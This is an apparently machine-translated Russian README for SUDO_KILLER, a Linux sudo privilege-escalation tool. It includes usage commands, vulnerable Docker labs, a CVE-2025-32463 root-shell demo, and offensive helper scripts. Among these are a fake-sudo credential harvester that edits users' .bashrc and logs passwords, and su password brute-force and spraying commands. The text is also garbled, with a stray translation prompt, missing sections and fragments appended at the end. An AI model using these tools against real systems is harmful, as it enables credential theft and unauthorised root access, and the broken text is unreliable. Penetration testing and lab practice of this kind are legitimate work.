
Инструмент, предназначенный для эксплуатации уязвимости повышения привилегий в программе sudo в Unix-подобных системах. Он использует определенную неправильную конфигурацию или ошибку в sudo для получения повышенных привилегий в системе, что позволяет обычному пользователю выполнять команды от имени пользователя root.
⭐ Поставьте нам звезду на GitHub — чтобы выразить свою поддержку!
💡 Лучше всего просматривать в тёмном режиме :)
Проект SUDO_KILLER дошёл до финала премии SANS Difference Award 2023 в категории инструментов с открытым исходным кодом.
SUDO_KILLER — это инструмент, предназначенный для специалистов по кибербезопасности (пентестеров, аудиторов безопасности, системных администраторов, участников CTF и студентов Infosec), облегчающий повышение привилегий в среде Linux. Он фокусируется на уязвимостях, связанных с использованием SUDO, включая неправильные настройки правил sudo, слабые места, основанные на версиях (CVE и другие уязвимости), и опасные развертывания бинарных файлов (GTFOBINS). Эти слабые места можно использовать для получения привилегий ROOT или выдачи себя за других пользователей.
SUDO_KILLER предоставляет каталог потенциальных команд и локальных эксплойтов для ручного повышения привилегий. Важно отметить, что он воздерживается от автоматической эксплуатации, требуя от пользователей самостоятельного выполнения процесса эксплуатации в соответствии с его предполагаемым использованием.
Ниже приведен список проверок, выполняемых SUDO_KILLER:
[!WARNING] Приведенный выше список проверок НЕ является исчерпывающим.
Чтобы начать работу с SUDO_KILLER, вы можете либо клонировать репозиторий с помощью git, либо скачать zip-архив. Если вы хотите попрактиковаться и/или протестировать его, есть уязвимая тестовая среда (с использованием docker). Смотрите соответствующее видео, в котором представлен обзор настройки docker и запуска SUDO_KILLER. В среде docker можно настроить несколько сценариев, которые могут быть использованы для тестирования различных неправильных настроек или недостатков. Альтернативно, вы можете запустить его на аудируемой системе для проверки неправильных настроек и/или недостатков, связанных с sudo.```shell ./SUDO_KILLERv.sh -c -a -e -r report.txt -p /tmp
Необязательные аргументы:
</br>-c : включает проверки CVE
</br>-a : включает CVE, связанные со сторонними приложениями/устройствами
</br>-i : импорт (офлайн-режим) из extract.sh
</br>-e : включает экспорт правил sudo / файла sudoers
</br>-r : имя отчёта (сохранить вывод)
</br>-p : путь для сохранения экспорта и отчёта
</br>-s : указать пароль пользователя для проверок sudo (если доступ к правилам sudo невозможен без пароля текущего пользователя)
</br>-h : справка
> [!NOTE]
> Стоит отметить, что при использовании аргумента -c предоставляется два типа проверок: один, где идентифицированный CVE основан исключительно на текущей версии sudo, и другой, где также проверяются необходимые условия.
> Очень часто версия sudo может быть уязвимой, но для успешной эксплуатации могут потребоваться некоторые предварительные условия.
> [!NOTE]
> Указание пароля: Если для выполнения sudo -l требуется пароль, скрипт не будет работать, если вы не укажете пароль с помощью аргумента -s.
<a name="docker"></a>
### Docker (Уязвимая тестовая среда)
<p align="left">
<img width="25%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK/docker.gif" alt="-dockerlogo"/>
</p>
Доступен ряд Docker-контейнеров, которые предоставляют намеренно уязвимую среду для тестирования и практического экспериментирования с `SUDO_KILLER`, а также с самими уязвимостями.```shell
service docker start
docker pull th3xace/sudo_killer_demo3
docker run --rm -it th3xace/sudo_killer_demo3
(This docker is only to test the CVE-2019-18634 (pwfeedback))
service docker start
docker pull th3xace/sudo_killer_demo2
docker run --user 1000 --rm -it th3xace/sudo_killer_demo2
Please provide the Markdown content to translate.```shell (This docker is only to test the CVE-2025-32463 (chwoot)) -> Credits to author $ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git $ cd CVE-2025-32463_chwoot
$ service docker start $ ./run.sh
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id woot! uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh woot!
root@f722d9182d1f:/# id uid=0(root) gid=0(root) groups=0(root),1001(pwn)
Почему можно выполнить "sudo -l" без пароля?
По умолчанию, если к какой-либо записи для пользователя на хосте применён тег NOPASSWD, вы сможете выполнить "sudo -l" без пароля. Это поведение может быть переопределено с помощью опций verifypw и listpw.
Однако эти правила влияют только на текущего пользователя, поэтому, если возможна смена пользователя (с помощью su), sudo -l следует запускать также от этого пользователя.
Иногда файл /etc/sudoers можно прочитать, даже если sudo -l недоступен без пароля.
<a name="scenarios"></a>
## Сценарии
Чтобы переключить сценарий (чтобы избежать конфликтов между разными сценариями) в docker (demo3):```shell
switchScenario <scenario_number>
Available scenarios: 0 to 10
All Scenarios 0 : Conflict might occur!
Scenario 1: [2,3] CVE - Rules
Scenario 2: [4] Excessive permissions
Scenario 2: [5] Excessive permissions (Authentication required)
Scenario 3: [6] User Impersonation
Scenario 4: [7] Common Misconfiguration (Change owner)
Scenario 4: [8,11] Common Misconfiguration (Wildcard)
Scenario 5: [13] Missing scripts from sudo rules
Scenario 6: [17] Dangerous Environment Variables
Scenario 7: [18] Dangerous binaries (gtfobins)
Scenario 8: [19] Recursive Impersonation test
Scenario 9: [20] Environment Path Hijacking
Scenario 10: [21] App Specific sudo vuln/misconfig
Scenario 11: [5] Excessive permissions (Authentication required)
Scenario 12: [16] Backdooring sudo (Credentials Capture)
Плейлист можно найти здесь: https://www.youtube.com/watch?v=Q8iO9mYrfv8&list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml
[!IMPORTANT] Краткие видео о том, как правильно проводить тестирование на предоставленном docker.
[!WARNING] Список видео ниже не является исчерпывающим. Для доступа ко всем видео, пожалуйста, перейдите по ссылке на плейлист.
Версия 3 SUDO_KILLER теперь включает список инструментов, которые можно использовать для выполнения различных задач. Скрипты находятся в каталоге SUDO_KILLERv3/SUDO_KILLER/SK-Tools/
SK-ImperBruteForce-NoPwd.sh: Выполняет брутфорс олицетворения (impersonation) с использованием пользователей из /etc/passwd, начиная с пользователя с UID 1000.SK-credHarvest2.sh: Выполняет захват учётных данных путём создания поддельного sudo через alias с последующим перенаправлением на реальный sudo.SK-app-check.sh: Проверяет уязвимости sudo, связанные с конкретным сторонним приложением, устройством или языком программирования (в разработке).SK-ttyInject.sh: Использует механизм TTY pushback, так что если root использует su - на управляемом пользователе, выполняется произвольная команда.SK-recursive-impersonate.sh: Выполняет выявление рекурсивного олицетворения с глубиной по умолчанию 3.SK-alias-report.sh: Выполняет поиск алиасов по различным критериям.SK-csuid-with-sudo.sh: Идентифицирует пользовательские SUID-бинарники и проверяет, не запущен ли без полного пути.Скрипт SK-credHarvest2.sh из SK-Tools позволяет выполнять захват учётных данных путём создания поддельного sudo через alias с последующим перенаправлением на реальный sudo. В настоящее время работает только для bash (не работает/не реализовано для ZSH или других оболочек) на настроенных Linux.
Отображаемое сообщение при запросе учётных данных при использовании sudo отличается в зависимости от используемой версии. Можно выбрать один из двух вариантов (различаются в зависимости от версии ОС). Пример отображаемого сообщения (новое и старое)
[!TIP] (новое) [sudo] password for user:
(старое) Password:
Для всех пользователей (auser): Когда у вас есть привилегии root или чрезмерные права в домашних каталогах пользователей и вы хотите простой способ сбора учётных данных:```shell ./SK-credHarvest2.sh auser <new|old> ; source /home/*/.bashrc
Для текущего пользователя (cuser):```shell
./SK-credHarvest2.sh cuser <new|old> ; source /home/<currentuser>/.bashrc
[!CAUTION] ДЛЯ ОСТАНОВКИ сбора учетных данных: запустите тот же скрипт с тем же аргументом
результат: лог /tmp/sk-crds.log будет содержать учетные данные
Вам потребуются права root, доступ к резервной копии sudoers или права на чтение /etc/sudoers.```shell Usage: ./SK-alias-sudoers.sh -p <sudoers_path> -k [-u] [-r] [-m] [-c] | [-a] where -u: user | -r: runas | -m: host | -c: command | -a: all
### Перебор пароля/Распыление пароля через su (SK-su-BruteForce.sh)
Использование su для перебора пароля и распыления пароля с параллелизмом, таймаутом и задержкой.```shell
Usage: ./SK-su-BruteForce.sh [-h|--help] [-m|--module MODULE] [-u|--user USER|-uf|--userfile USERFILE] [-p|--password PASSWORD|-pf|--pwdfile PASSFILE] [-c|--concurrent CONCURRENT] [-s|--sleep SLEEP] [-t|--timeouts TIMEOUTS]
Module: Password Bruteforce : pwdbf
Example: ./SK-su-BruteForce.sh -m "pwdbf" -u user -pf password.txt -c 5 -s 0.005 -t 0.9
Module: Password Spray : pwdspr
Example: ./SK-su-BruteForce.sh -m pwdspr -uf users.txt -p password -c 5 -s 0.005 -t 0.9
Module: User:Password Bruteforce : usrpwdbf
Example: ./SK-su-BruteForce.sh -m usrpwdbf -uf users-pwd.txt -c 5 -s 0.005 -t 0.9
Поиск возможных резервных копий файла sudoers в /mnt/ /opt/ /etc/ /etc/ /home/ /app*/ и любой дополнительной, переданной как аргумент```shell Usage: ./SK-search-sudoers.sh /tmp/
### Обновление опасных бинарников - GTFOBINS (SK_dbins_update.sh)
Чтобы обновить опасные бинарники, перейдите в dbins/update и выполните ./SK_dbins_update.sh. Убедитесь, что у вас есть подключение к интернету.```shell
Usage: ./SK_dbins_update.sh
Ищет бинарные файлы с относительным путем, которые могут быть использованы во вред! если не установлен secure_path.```shell sudo -l <..snip..> (root) SETENV: NOPASSWD: /opt/support/purge.sh <..snip..>
Usage: ./SK-relative-path.sh /opt/support/purge.sh
<a name="contribute"></a>
# Вклад
`SUDO_KILLER` — это проект с открытым исходным кодом, и мы высоко ценим любой вклад. Будь то помощь в исправлении ошибок, предложение новых функций, улучшение документации или распространение информации — мы будем рады видеть вас в качестве участника. Пожалуйста, свяжитесь со мной в Twitter или LinkedIn, если у вас есть предложения, отзывы или желание внести вклад; также вы можете создать Pull Request. Я ищу вклад в sudo CVE, связанные со сторонними разработчиками (у меня есть список из примерно 175), и любая помощь будет оценена.
- Отчёт об ошибке: Если вы видите сообщение об ошибке или сталкиваетесь с проблемой при использовании `SUDO_KILLER`, пожалуйста, создайте [баг-репорт](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+bug&template=bug.yaml&title=%F0%9F%90%9B+Bug+Report%3A+).
- Запрос функции: Если у вас есть идея или вам не хватает возможности, которая могла бы упростить и улучшить разработку, пожалуйста, отправьте [запрос функции](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+feature+request&template=feature.yml).
<a name="stars"></a>
## Звёзды со временем
Спасибо всем за поддержку!
[](https://starchart.cc/TH3xACE/SUDO_KILLER)
<a name="support"></a>
## Поддержка
<a href="https://www.patreon.com/TH3xACE">
<img src="https://assets.kitploit.com/production/public/readmes/2701/0c68395ad843ce5107774011154103ae8d17d44f3cafc73e6395bdd05da753c7.png" width="160">
</a>
<a name="credits"></a>
## Благодарности
Я написал этот скрипт самостоятельно, используя онлайн-ресурсы с GitHub и других источников в сети. Также благодарю создателей/публикаторов эксплойтов, связанных с CVE. Их данные и ссылки можно найти в самом эксплойте, а также в прилагаемых заметках при выполнении инструмента. Особая благодарность Vincent Puydoyeux, чьё вдохновение подтолкнуло к разработке этого инструмента, и Koutto за неоценимую помощь в работе с Docker и улучшении функциональности инструмента. Кроме того, искренняя благодарность Emilio Pinna (norbemi) и Andrea Cardaci (cyrus_and) за их неоценимый вклад в GTFO Bins, который значительно повлиял на разработку этого проекта.
<a name="disclaimer"></a>
## Отказ от ответственности
Этот скрипт предназначен ТОЛЬКО для образовательных целей. Не используйте его без разрешения владельца системы, на которой вы его запускаете. Применяется стандартное предупреждение, особенно в отношении того, что я (TH3xACE) не несу ответственности за любой ущерб, причинённый прямым или косвенным использованием информации или функциональности, предоставленной этим проектом. Автор (TH3xACE) или любой интернет-провайдер НЕ несут ответственности за содержимое или неправомерное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), вызванный использованием скрипта, не является ответственностью автора.
<a name="license"></a>
## Лицензия
`SUDO_KILLER` распространяется по лицензии MIT. При использовании ожидается указание авторства. Пожалуйста, подумайте о пожертвовании для любого коммерческого использования.
sudoSK-su-BruteForce.sh: Выполняет брутфорс пароля или спрей (spray) для конкретного пользователя через sudo.SK-search-sudoers.sh: Идентифицирует возможные файлы резервных копий sudoers на текущем хосте.